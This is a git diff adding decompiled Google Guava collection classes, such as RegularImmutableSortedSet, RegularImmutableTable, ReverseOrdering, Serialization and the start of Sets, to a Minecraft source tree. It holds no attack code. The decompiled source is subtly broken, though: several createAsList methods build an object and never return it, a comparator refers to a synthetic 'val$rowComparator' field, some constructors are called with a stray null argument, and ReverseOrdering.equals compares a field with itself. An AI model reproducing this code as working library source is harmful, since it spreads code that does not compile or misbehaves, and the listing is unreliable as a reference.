+    return Iterators.forArray(elements);
+  }
+  
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    System.arraycopy(elements, 0, dst, offset, elements.length);
+    return offset + elements.length;
+  }
+  
+  ImmutableList<E> createAsList()
+  {
+    return new RegularImmutableAsList(this, elements);
+  }
+  
+  boolean isPartialView()
+  {
+    return false;
+  }
+  
+  public int hashCode() {
+    return hashCode;
+  }
+  
+  boolean isHashCodeFast() {
+    return true;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableSortedMap.java b/src/minecraft/com/google/common/collect/RegularImmutableSortedMap.java
new file mode 100644
index 0000000..57dc6d7
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableSortedMap.java
@@ -0,0 +1,126 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+final class RegularImmutableSortedMap<K, V>
+  extends ImmutableSortedMap<K, V>
+{
+  private final transient RegularImmutableSortedSet<K> keySet;
+  private final transient ImmutableList<V> valueList;
+  
+  RegularImmutableSortedMap(RegularImmutableSortedSet<K> keySet, ImmutableList<V> valueList)
+  {
+    this.keySet = keySet;
+    this.valueList = valueList;
+  }
+  
+
+
+  RegularImmutableSortedMap(RegularImmutableSortedSet<K> keySet, ImmutableList<V> valueList, ImmutableSortedMap<K, V> descendingMap)
+  {
+    super(descendingMap);
+    this.keySet = keySet;
+    this.valueList = valueList;
+  }
+  
+  ImmutableSet<Map.Entry<K, V>> createEntrySet()
+  {
+    return new EntrySet(null);
+  }
+  
+  private class EntrySet extends ImmutableMapEntrySet<K, V> {
+    private EntrySet() {}
+    
+    public UnmodifiableIterator<Map.Entry<K, V>> iterator() { return asList().iterator(); }
+    
+
+    ImmutableList<Map.Entry<K, V>> createAsList()
+    {
+      new ImmutableAsList()
+      {
+        private final ImmutableList<K> keyList = keySet().asList();
+        
+        public Map.Entry<K, V> get(int index)
+        {
+          return Maps.immutableEntry(keyList.get(index), valueList.get(index));
+        }
+        
+        ImmutableCollection<Map.Entry<K, V>> delegateCollection()
+        {
+          return RegularImmutableSortedMap.EntrySet.this;
+        }
+      };
+    }
+    
+    ImmutableMap<K, V> map()
+    {
+      return RegularImmutableSortedMap.this;
+    }
+  }
+  
+  public ImmutableSortedSet<K> keySet()
+  {
+    return keySet;
+  }
+  
+  public ImmutableCollection<V> values()
+  {
+    return valueList;
+  }
+  
+  public V get(@Nullable Object key)
+  {
+    int index = keySet.indexOf(key);
+    return index == -1 ? null : valueList.get(index);
+  }
+  
+  private ImmutableSortedMap<K, V> getSubMap(int fromIndex, int toIndex) {
+    if ((fromIndex == 0) && (toIndex == size()))
+      return this;
+    if (fromIndex == toIndex) {
+      return emptyMap(comparator());
+    }
+    return from(keySet.getSubSet(fromIndex, toIndex), valueList.subList(fromIndex, toIndex));
+  }
+  
+
+
+
+  public ImmutableSortedMap<K, V> headMap(K toKey, boolean inclusive)
+  {
+    return getSubMap(0, keySet.headIndex(Preconditions.checkNotNull(toKey), inclusive));
+  }
+  
+  public ImmutableSortedMap<K, V> tailMap(K fromKey, boolean inclusive)
+  {
+    return getSubMap(keySet.tailIndex(Preconditions.checkNotNull(fromKey), inclusive), size());
+  }
+  
+  ImmutableSortedMap<K, V> createDescendingMap()
+  {
+    return new RegularImmutableSortedMap((RegularImmutableSortedSet)keySet.descendingSet(), valueList.reverse(), this);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableSortedMultiset.java b/src/minecraft/com/google/common/collect/RegularImmutableSortedMultiset.java
new file mode 100644
index 0000000..0dcf505
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableSortedMultiset.java
@@ -0,0 +1,114 @@
+package com.google.common.collect;
+
+import com.google.common.base.Preconditions;
+import com.google.common.primitives.Ints;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class RegularImmutableSortedMultiset<E>
+  extends ImmutableSortedMultiset<E>
+{
+  private final transient RegularImmutableSortedSet<E> elementSet;
+  private final transient int[] counts;
+  private final transient long[] cumulativeCounts;
+  private final transient int offset;
+  private final transient int length;
+  
+  RegularImmutableSortedMultiset(RegularImmutableSortedSet<E> elementSet, int[] counts, long[] cumulativeCounts, int offset, int length)
+  {
+    this.elementSet = elementSet;
+    this.counts = counts;
+    this.cumulativeCounts = cumulativeCounts;
+    this.offset = offset;
+    this.length = length;
+  }
+  
+  Multiset.Entry<E> getEntry(int index)
+  {
+    return Multisets.immutableEntry(elementSet.asList().get(index), counts[(offset + index)]);
+  }
+  
+
+
+  public Multiset.Entry<E> firstEntry()
+  {
+    return getEntry(0);
+  }
+  
+  public Multiset.Entry<E> lastEntry()
+  {
+    return getEntry(length - 1);
+  }
+  
+  public int count(@Nullable Object element)
+  {
+    int index = elementSet.indexOf(element);
+    return index == -1 ? 0 : counts[(index + offset)];
+  }
+  
+  public int size()
+  {
+    long size = cumulativeCounts[(offset + length)] - cumulativeCounts[offset];
+    return Ints.saturatedCast(size);
+  }
+  
+  public ImmutableSortedSet<E> elementSet()
+  {
+    return elementSet;
+  }
+  
+  public ImmutableSortedMultiset<E> headMultiset(E upperBound, BoundType boundType)
+  {
+    return getSubMultiset(0, elementSet.headIndex(upperBound, Preconditions.checkNotNull(boundType) == BoundType.CLOSED));
+  }
+  
+  public ImmutableSortedMultiset<E> tailMultiset(E lowerBound, BoundType boundType)
+  {
+    return getSubMultiset(elementSet.tailIndex(lowerBound, Preconditions.checkNotNull(boundType) == BoundType.CLOSED), length);
+  }
+  
+  ImmutableSortedMultiset<E> getSubMultiset(int from, int to)
+  {
+    Preconditions.checkPositionIndexes(from, to, length);
+    if (from == to)
+      return emptyMultiset(comparator());
+    if ((from == 0) && (to == length)) {
+      return this;
+    }
+    RegularImmutableSortedSet<E> subElementSet = (RegularImmutableSortedSet)elementSet.getSubSet(from, to);
+    
+    return new RegularImmutableSortedMultiset(subElementSet, counts, cumulativeCounts, offset + from, to - from);
+  }
+  
+
+
+  boolean isPartialView()
+  {
+    return (offset > 0) || (length < counts.length);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableSortedSet.java b/src/minecraft/com/google/common/collect/RegularImmutableSortedSet.java
new file mode 100644
index 0000000..26169fd
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableSortedSet.java
@@ -0,0 +1,290 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+final class RegularImmutableSortedSet<E>
+  extends ImmutableSortedSet<E>
+{
+  private final transient ImmutableList<E> elements;
+  
+  RegularImmutableSortedSet(ImmutableList<E> elements, Comparator<? super E> comparator)
+  {
+    super(comparator);
+    this.elements = elements;
+    Preconditions.checkArgument(!elements.isEmpty());
+  }
+  
+  public UnmodifiableIterator<E> iterator() {
+    return elements.iterator();
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  public UnmodifiableIterator<E> descendingIterator() {
+    return elements.reverse().iterator();
+  }
+  
+  public boolean isEmpty() {
+    return false;
+  }
+  
+  public int size()
+  {
+    return elements.size();
+  }
+  
+  public boolean contains(Object o) {
+    try {
+      return (o != null) && (unsafeBinarySearch(o) >= 0);
+    } catch (ClassCastException e) {}
+    return false;
+  }
+  
+
+
+
+
+  public boolean containsAll(Collection<?> targets)
+  {
+    if ((targets instanceof Multiset)) {
+      targets = ((Multiset)targets).elementSet();
+    }
+    if ((!SortedIterables.hasSameComparator(comparator(), targets)) || (targets.size() <= 1))
+    {
+      return super.containsAll(targets);
+    }
+    
+
+
+
+
+    PeekingIterator<E> thisIterator = Iterators.peekingIterator(iterator());
+    Iterator<?> thatIterator = targets.iterator();
+    Object target = thatIterator.next();
+    
+    try
+    {
+      while (thisIterator.hasNext())
+      {
+        int cmp = unsafeCompare(thisIterator.peek(), target);
+        
+        if (cmp < 0) {
+          thisIterator.next();
+        } else if (cmp == 0)
+        {
+          if (!thatIterator.hasNext())
+          {
+            return true;
+          }
+          
+          target = thatIterator.next();
+        }
+        else if (cmp > 0) {
+          return false;
+        }
+      }
+    } catch (NullPointerException e) {
+      return false;
+    } catch (ClassCastException e) {
+      return false;
+    }
+    
+    return false;
+  }
+  
+  private int unsafeBinarySearch(Object key) throws ClassCastException {
+    return Collections.binarySearch(elements, key, unsafeComparator());
+  }
+  
+  boolean isPartialView() {
+    return elements.isPartialView();
+  }
+  
+  int copyIntoArray(Object[] dst, int offset)
+  {
+    return elements.copyIntoArray(dst, offset);
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this) {
+      return true;
+    }
+    if (!(object instanceof Set)) {
+      return false;
+    }
+    
+    Set<?> that = (Set)object;
+    if (size() != that.size()) {
+      return false;
+    }
+    
+    if (SortedIterables.hasSameComparator(comparator, that)) {
+      Iterator<?> otherIterator = that.iterator();
+      try {
+        Iterator<E> iterator = iterator();
+        while (iterator.hasNext()) {
+          Object element = iterator.next();
+          Object otherElement = otherIterator.next();
+          if ((otherElement == null) || (unsafeCompare(element, otherElement) != 0))
+          {
+            return false;
+          }
+        }
+        return true;
+      } catch (ClassCastException e) {
+        return false;
+      } catch (NoSuchElementException e) {
+        return false;
+      }
+    }
+    return containsAll(that);
+  }
+  
+  public E first()
+  {
+    return elements.get(0);
+  }
+  
+  public E last()
+  {
+    return elements.get(size() - 1);
+  }
+  
+  public E lower(E element)
+  {
+    int index = headIndex(element, false) - 1;
+    return index == -1 ? null : elements.get(index);
+  }
+  
+  public E floor(E element)
+  {
+    int index = headIndex(element, true) - 1;
+    return index == -1 ? null : elements.get(index);
+  }
+  
+  public E ceiling(E element)
+  {
+    int index = tailIndex(element, true);
+    return index == size() ? null : elements.get(index);
+  }
+  
+  public E higher(E element)
+  {
+    int index = tailIndex(element, false);
+    return index == size() ? null : elements.get(index);
+  }
+  
+  ImmutableSortedSet<E> headSetImpl(E toElement, boolean inclusive)
+  {
+    return getSubSet(0, headIndex(toElement, inclusive));
+  }
+  
+  int headIndex(E toElement, boolean inclusive) {
+    return SortedLists.binarySearch(elements, Preconditions.checkNotNull(toElement), comparator(), inclusive ? SortedLists.KeyPresentBehavior.FIRST_AFTER : SortedLists.KeyPresentBehavior.FIRST_PRESENT, SortedLists.KeyAbsentBehavior.NEXT_HIGHER);
+  }
+  
+
+
+
+  ImmutableSortedSet<E> subSetImpl(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+  {
+    return tailSetImpl(fromElement, fromInclusive).headSetImpl(toElement, toInclusive);
+  }
+  
+
+  ImmutableSortedSet<E> tailSetImpl(E fromElement, boolean inclusive)
+  {
+    return getSubSet(tailIndex(fromElement, inclusive), size());
+  }
+  
+  int tailIndex(E fromElement, boolean inclusive) {
+    return SortedLists.binarySearch(elements, Preconditions.checkNotNull(fromElement), comparator(), inclusive ? SortedLists.KeyPresentBehavior.FIRST_PRESENT : SortedLists.KeyPresentBehavior.FIRST_AFTER, SortedLists.KeyAbsentBehavior.NEXT_HIGHER);
+  }
+  
+
+
+
+
+
+
+
+  Comparator<Object> unsafeComparator()
+  {
+    return comparator;
+  }
+  
+  ImmutableSortedSet<E> getSubSet(int newFromIndex, int newToIndex) {
+    if ((newFromIndex == 0) && (newToIndex == size()))
+      return this;
+    if (newFromIndex < newToIndex) {
+      return new RegularImmutableSortedSet(elements.subList(newFromIndex, newToIndex), comparator);
+    }
+    
+    return emptySet(comparator);
+  }
+  
+  int indexOf(@Nullable Object target)
+  {
+    if (target == null) {
+      return -1;
+    }
+    int position;
+    try {
+      position = SortedLists.binarySearch(elements, target, unsafeComparator(), SortedLists.KeyPresentBehavior.ANY_PRESENT, SortedLists.KeyAbsentBehavior.INVERTED_INSERTION_INDEX);
+    }
+    catch (ClassCastException e) {
+      return -1;
+    }
+    return position >= 0 ? position : -1;
+  }
+  
+  ImmutableList<E> createAsList() {
+    return new ImmutableSortedAsList(this, elements);
+  }
+  
+  ImmutableSortedSet<E> createDescendingSet()
+  {
+    return new RegularImmutableSortedSet(elements.reverse(), Ordering.from(comparator).reverse());
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RegularImmutableTable.java b/src/minecraft/com/google/common/collect/RegularImmutableTable.java
new file mode 100644
index 0000000..821aad4
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RegularImmutableTable.java
@@ -0,0 +1,177 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible
+abstract class RegularImmutableTable<R, C, V>
+  extends ImmutableTable<R, C, V>
+{
+  RegularImmutableTable() {}
+  
+  abstract Table.Cell<R, C, V> getCell(int paramInt);
+  
+  final ImmutableSet<Table.Cell<R, C, V>> createCellSet() { return isEmpty() ? ImmutableSet.of() : new CellSet(null); }
+  
+  abstract V getValue(int paramInt);
+  
+  private final class CellSet extends ImmutableSet<Table.Cell<R, C, V>> { private CellSet() {}
+    
+    public int size() { return RegularImmutableTable.this.size(); }
+    
+
+    public UnmodifiableIterator<Table.Cell<R, C, V>> iterator()
+    {
+      return asList().iterator();
+    }
+    
+    ImmutableList<Table.Cell<R, C, V>> createAsList()
+    {
+      new ImmutableAsList()
+      {
+        public Table.Cell<R, C, V> get(int index) {
+          return getCell(index);
+        }
+        
+        ImmutableCollection<Table.Cell<R, C, V>> delegateCollection()
+        {
+          return RegularImmutableTable.CellSet.this;
+        }
+      };
+    }
+    
+    public boolean contains(@Nullable Object object)
+    {
+      if ((object instanceof Table.Cell)) {
+        Table.Cell<?, ?, ?> cell = (Table.Cell)object;
+        Object value = get(cell.getRowKey(), cell.getColumnKey());
+        return (value != null) && (value.equals(cell.getValue()));
+      }
+      return false;
+    }
+    
+    boolean isPartialView()
+    {
+      return false;
+    }
+  }
+  
+
+
+  final ImmutableCollection<V> createValues()
+  {
+    return isEmpty() ? ImmutableList.of() : new Values(null);
+  }
+  
+  private final class Values extends ImmutableList<V> {
+    private Values() {}
+    
+    public int size() { return RegularImmutableTable.this.size(); }
+    
+
+    public V get(int index)
+    {
+      return getValue(index);
+    }
+    
+    boolean isPartialView()
+    {
+      return true;
+    }
+  }
+  
+
+
+  static <R, C, V> RegularImmutableTable<R, C, V> forCells(List<Table.Cell<R, C, V>> cells, @Nullable Comparator<? super R> rowComparator, @Nullable final Comparator<? super C> columnComparator)
+  {
+    Preconditions.checkNotNull(cells);
+    if ((rowComparator != null) || (columnComparator != null))
+    {
+
+
+
+
+
+
+      Comparator<Table.Cell<R, C, V>> comparator = new Comparator() {
+        public int compare(Table.Cell<R, C, V> cell1, Table.Cell<R, C, V> cell2) {
+          int rowCompare = val$rowComparator == null ? 0 : val$rowComparator.compare(cell1.getRowKey(), cell2.getRowKey());
+          
+          if (rowCompare != 0) {
+            return rowCompare;
+          }
+          return columnComparator == null ? 0 : columnComparator.compare(cell1.getColumnKey(), cell2.getColumnKey());
+        }
+        
+      };
+      Collections.sort(cells, comparator);
+    }
+    return forCellsInternal(cells, rowComparator, columnComparator);
+  }
+  
+  static <R, C, V> RegularImmutableTable<R, C, V> forCells(Iterable<Table.Cell<R, C, V>> cells)
+  {
+    return forCellsInternal(cells, null, null);
+  }
+  
+
+
+
+
+
+
+  private static final <R, C, V> RegularImmutableTable<R, C, V> forCellsInternal(Iterable<Table.Cell<R, C, V>> cells, @Nullable Comparator<? super R> rowComparator, @Nullable Comparator<? super C> columnComparator)
+  {
+    ImmutableSet.Builder<R> rowSpaceBuilder = ImmutableSet.builder();
+    ImmutableSet.Builder<C> columnSpaceBuilder = ImmutableSet.builder();
+    ImmutableList<Table.Cell<R, C, V>> cellList = ImmutableList.copyOf(cells);
+    for (Table.Cell<R, C, V> cell : cellList) {
+      rowSpaceBuilder.add(cell.getRowKey());
+      columnSpaceBuilder.add(cell.getColumnKey());
+    }
+    
+    ImmutableSet<R> rowSpace = rowSpaceBuilder.build();
+    if (rowComparator != null) {
+      List<R> rowList = Lists.newArrayList(rowSpace);
+      Collections.sort(rowList, rowComparator);
+      rowSpace = ImmutableSet.copyOf(rowList);
+    }
+    ImmutableSet<C> columnSpace = columnSpaceBuilder.build();
+    if (columnComparator != null) {
+      List<C> columnList = Lists.newArrayList(columnSpace);
+      Collections.sort(columnList, columnComparator);
+      columnSpace = ImmutableSet.copyOf(columnList);
+    }
+    
+
+
+    return cellList.size() > rowSpace.size() * columnSpace.size() / 2L ? new DenseImmutableTable(cellList, rowSpace, columnSpace) : new SparseImmutableTable(cellList, rowSpace, columnSpace);
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/ReverseNaturalOrdering.java b/src/minecraft/com/google/common/collect/ReverseNaturalOrdering.java
new file mode 100644
index 0000000..c30fa7c
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ReverseNaturalOrdering.java
@@ -0,0 +1,90 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.Iterator;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class ReverseNaturalOrdering
+  extends Ordering<Comparable>
+  implements Serializable
+{
+  static final ReverseNaturalOrdering INSTANCE = new ReverseNaturalOrdering();
+  private static final long serialVersionUID = 0L;
+  
+  public int compare(Comparable left, Comparable right) { Preconditions.checkNotNull(left);
+    if (left == right) {
+      return 0;
+    }
+    
+    return right.compareTo(left);
+  }
+  
+  public <S extends Comparable> Ordering<S> reverse() {
+    return Ordering.natural();
+  }
+  
+
+  public <E extends Comparable> E min(E a, E b)
+  {
+    return (Comparable)NaturalOrdering.INSTANCE.max(a, b);
+  }
+  
+  public <E extends Comparable> E min(E a, E b, E c, E... rest) {
+    return (Comparable)NaturalOrdering.INSTANCE.max(a, b, c, rest);
+  }
+  
+  public <E extends Comparable> E min(Iterator<E> iterator) {
+    return (Comparable)NaturalOrdering.INSTANCE.max(iterator);
+  }
+  
+  public <E extends Comparable> E min(Iterable<E> iterable) {
+    return (Comparable)NaturalOrdering.INSTANCE.max(iterable);
+  }
+  
+  public <E extends Comparable> E max(E a, E b) {
+    return (Comparable)NaturalOrdering.INSTANCE.min(a, b);
+  }
+  
+  public <E extends Comparable> E max(E a, E b, E c, E... rest) {
+    return (Comparable)NaturalOrdering.INSTANCE.min(a, b, c, rest);
+  }
+  
+  public <E extends Comparable> E max(Iterator<E> iterator) {
+    return (Comparable)NaturalOrdering.INSTANCE.min(iterator);
+  }
+  
+  public <E extends Comparable> E max(Iterable<E> iterable) {
+    return (Comparable)NaturalOrdering.INSTANCE.min(iterable);
+  }
+  
+  private Object readResolve()
+  {
+    return INSTANCE;
+  }
+  
+  public String toString() {
+    return "Ordering.natural().reverse()";
+  }
+  
+  private ReverseNaturalOrdering() {}
+}
diff --git a/src/minecraft/com/google/common/collect/ReverseOrdering.java b/src/minecraft/com/google/common/collect/ReverseOrdering.java
new file mode 100644
index 0000000..0ff54fb
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/ReverseOrdering.java
@@ -0,0 +1,98 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.io.Serializable;
+import java.util.Iterator;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true)
+final class ReverseOrdering<T>
+  extends Ordering<T>
+  implements Serializable
+{
+  final Ordering<? super T> forwardOrder;
+  private static final long serialVersionUID = 0L;
+  
+  ReverseOrdering(Ordering<? super T> forwardOrder)
+  {
+    this.forwardOrder = ((Ordering)Preconditions.checkNotNull(forwardOrder));
+  }
+  
+  public int compare(T a, T b) {
+    return forwardOrder.compare(b, a);
+  }
+  
+  public <S extends T> Ordering<S> reverse()
+  {
+    return forwardOrder;
+  }
+  
+
+  public <E extends T> E min(E a, E b)
+  {
+    return forwardOrder.max(a, b);
+  }
+  
+  public <E extends T> E min(E a, E b, E c, E... rest) {
+    return forwardOrder.max(a, b, c, rest);
+  }
+  
+  public <E extends T> E min(Iterator<E> iterator) {
+    return forwardOrder.max(iterator);
+  }
+  
+  public <E extends T> E min(Iterable<E> iterable) {
+    return forwardOrder.max(iterable);
+  }
+  
+  public <E extends T> E max(E a, E b) {
+    return forwardOrder.min(a, b);
+  }
+  
+  public <E extends T> E max(E a, E b, E c, E... rest) {
+    return forwardOrder.min(a, b, c, rest);
+  }
+  
+  public <E extends T> E max(Iterator<E> iterator) {
+    return forwardOrder.min(iterator);
+  }
+  
+  public <E extends T> E max(Iterable<E> iterable) {
+    return forwardOrder.min(iterable);
+  }
+  
+  public int hashCode() {
+    return -forwardOrder.hashCode();
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof ReverseOrdering)) {
+      ReverseOrdering<?> that = (ReverseOrdering)object;
+      return forwardOrder.equals(forwardOrder);
+    }
+    return false;
+  }
+  
+  public String toString() {
+    return forwardOrder + ".reverse()";
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/RowSortedTable.java b/src/minecraft/com/google/common/collect/RowSortedTable.java
new file mode 100644
index 0000000..f3dd8f1
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/RowSortedTable.java
@@ -0,0 +1,17 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map;
+import java.util.SortedMap;
+import java.util.SortedSet;
+
+@GwtCompatible
+@Beta
+public abstract interface RowSortedTable<R, C, V>
+  extends Table<R, C, V>
+{
+  public abstract SortedSet<R> rowKeySet();
+  
+  public abstract SortedMap<R, Map<C, V>> rowMap();
+}
diff --git a/src/minecraft/com/google/common/collect/Serialization.java b/src/minecraft/com/google/common/collect/Serialization.java
new file mode 100644
index 0000000..e1b5cb3
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Serialization.java
@@ -0,0 +1,231 @@
+package com.google.common.collect;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.reflect.Field;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class Serialization
+{
+  private Serialization() {}
+  
+  static int readCount(ObjectInputStream stream)
+    throws IOException
+  {
+    return stream.readInt();
+  }
+  
+
+
+
+
+
+
+
+  static <K, V> void writeMap(Map<K, V> map, ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.writeInt(map.size());
+    for (Map.Entry<K, V> entry : map.entrySet()) {
+      stream.writeObject(entry.getKey());
+      stream.writeObject(entry.getValue());
+    }
+  }
+  
+
+
+
+  static <K, V> void populateMap(Map<K, V> map, ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    int size = stream.readInt();
+    populateMap(map, stream, size);
+  }
+  
+
+
+
+
+  static <K, V> void populateMap(Map<K, V> map, ObjectInputStream stream, int size)
+    throws IOException, ClassNotFoundException
+  {
+    for (int i = 0; i < size; i++)
+    {
+      K key = stream.readObject();
+      
+      V value = stream.readObject();
+      map.put(key, value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  static <E> void writeMultiset(Multiset<E> multiset, ObjectOutputStream stream)
+    throws IOException
+  {
+    int entryCount = multiset.entrySet().size();
+    stream.writeInt(entryCount);
+    for (Multiset.Entry<E> entry : multiset.entrySet()) {
+      stream.writeObject(entry.getElement());
+      stream.writeInt(entry.getCount());
+    }
+  }
+  
+
+
+
+
+  static <E> void populateMultiset(Multiset<E> multiset, ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    int distinctElements = stream.readInt();
+    populateMultiset(multiset, stream, distinctElements);
+  }
+  
+
+
+
+
+
+  static <E> void populateMultiset(Multiset<E> multiset, ObjectInputStream stream, int distinctElements)
+    throws IOException, ClassNotFoundException
+  {
+    for (int i = 0; i < distinctElements; i++)
+    {
+      E element = stream.readObject();
+      int count = stream.readInt();
+      multiset.add(element, count);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  static <K, V> void writeMultimap(Multimap<K, V> multimap, ObjectOutputStream stream)
+    throws IOException
+  {
+    stream.writeInt(multimap.asMap().size());
+    for (Map.Entry<K, Collection<V>> entry : multimap.asMap().entrySet()) {
+      stream.writeObject(entry.getKey());
+      stream.writeInt(((Collection)entry.getValue()).size());
+      for (V value : (Collection)entry.getValue()) {
+        stream.writeObject(value);
+      }
+    }
+  }
+  
+
+
+
+
+  static <K, V> void populateMultimap(Multimap<K, V> multimap, ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    int distinctKeys = stream.readInt();
+    populateMultimap(multimap, stream, distinctKeys);
+  }
+  
+
+
+
+
+
+  static <K, V> void populateMultimap(Multimap<K, V> multimap, ObjectInputStream stream, int distinctKeys)
+    throws IOException, ClassNotFoundException
+  {
+    for (int i = 0; i < distinctKeys; i++)
+    {
+      K key = stream.readObject();
+      Collection<V> values = multimap.get(key);
+      int valueCount = stream.readInt();
+      for (int j = 0; j < valueCount; j++)
+      {
+        V value = stream.readObject();
+        values.add(value);
+      }
+    }
+  }
+  
+  static <T> FieldSetter<T> getFieldSetter(Class<T> clazz, String fieldName)
+  {
+    try
+    {
+      Field field = clazz.getDeclaredField(fieldName);
+      return new FieldSetter(field, null);
+    } catch (NoSuchFieldException e) {
+      throw new AssertionError(e);
+    }
+  }
+  
+  static final class FieldSetter<T>
+  {
+    private final Field field;
+    
+    private FieldSetter(Field field) {
+      this.field = field;
+      field.setAccessible(true);
+    }
+    
+    void set(T instance, Object value) {
+      try {
+        field.set(instance, value);
+      } catch (IllegalAccessException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+    
+    void set(T instance, int value) {
+      try {
+        field.set(instance, Integer.valueOf(value));
+      } catch (IllegalAccessException impossible) {
+        throw new AssertionError(impossible);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/SetMultimap.java b/src/minecraft/com/google/common/collect/SetMultimap.java
new file mode 100644
index 0000000..e4514e7
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SetMultimap.java
@@ -0,0 +1,25 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Collection;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import javax.annotation.Nullable;
+
+@GwtCompatible
+public abstract interface SetMultimap<K, V>
+  extends Multimap<K, V>
+{
+  public abstract Set<V> get(@Nullable K paramK);
+  
+  public abstract Set<V> removeAll(@Nullable Object paramObject);
+  
+  public abstract Set<V> replaceValues(K paramK, Iterable<? extends V> paramIterable);
+  
+  public abstract Set<Map.Entry<K, V>> entries();
+  
+  public abstract Map<K, Collection<V>> asMap();
+  
+  public abstract boolean equals(@Nullable Object paramObject);
+}
diff --git a/src/minecraft/com/google/common/collect/Sets.java b/src/minecraft/com/google/common/collect/Sets.java
new file mode 100644
index 0000000..3abc75c
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Sets.java
@@ -0,0 +1,1698 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import java.io.Serializable;
+import java.util.AbstractSet;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.EnumSet;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.NavigableSet;
+import java.util.NoSuchElementException;
+import java.util.Set;
+import java.util.SortedSet;
+import java.util.TreeSet;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.CopyOnWriteArraySet;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Sets
+{
+  private Sets() {}
+  
+  static abstract class ImprovedAbstractSet<E>
+    extends AbstractSet<E>
+  {
+    ImprovedAbstractSet() {}
+    
+    public boolean removeAll(Collection<?> c)
+    {
+      return Sets.removeAllImpl(this, c);
+    }
+    
+    public boolean retainAll(Collection<?> c)
+    {
+      return super.retainAll((Collection)Preconditions.checkNotNull(c));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <E extends Enum<E>> ImmutableSet<E> immutableEnumSet(E anElement, E... otherElements)
+  {
+    return ImmutableEnumSet.asImmutable(EnumSet.of(anElement, otherElements));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <E extends Enum<E>> ImmutableSet<E> immutableEnumSet(Iterable<E> elements)
+  {
+    if ((elements instanceof ImmutableEnumSet))
+      return (ImmutableEnumSet)elements;
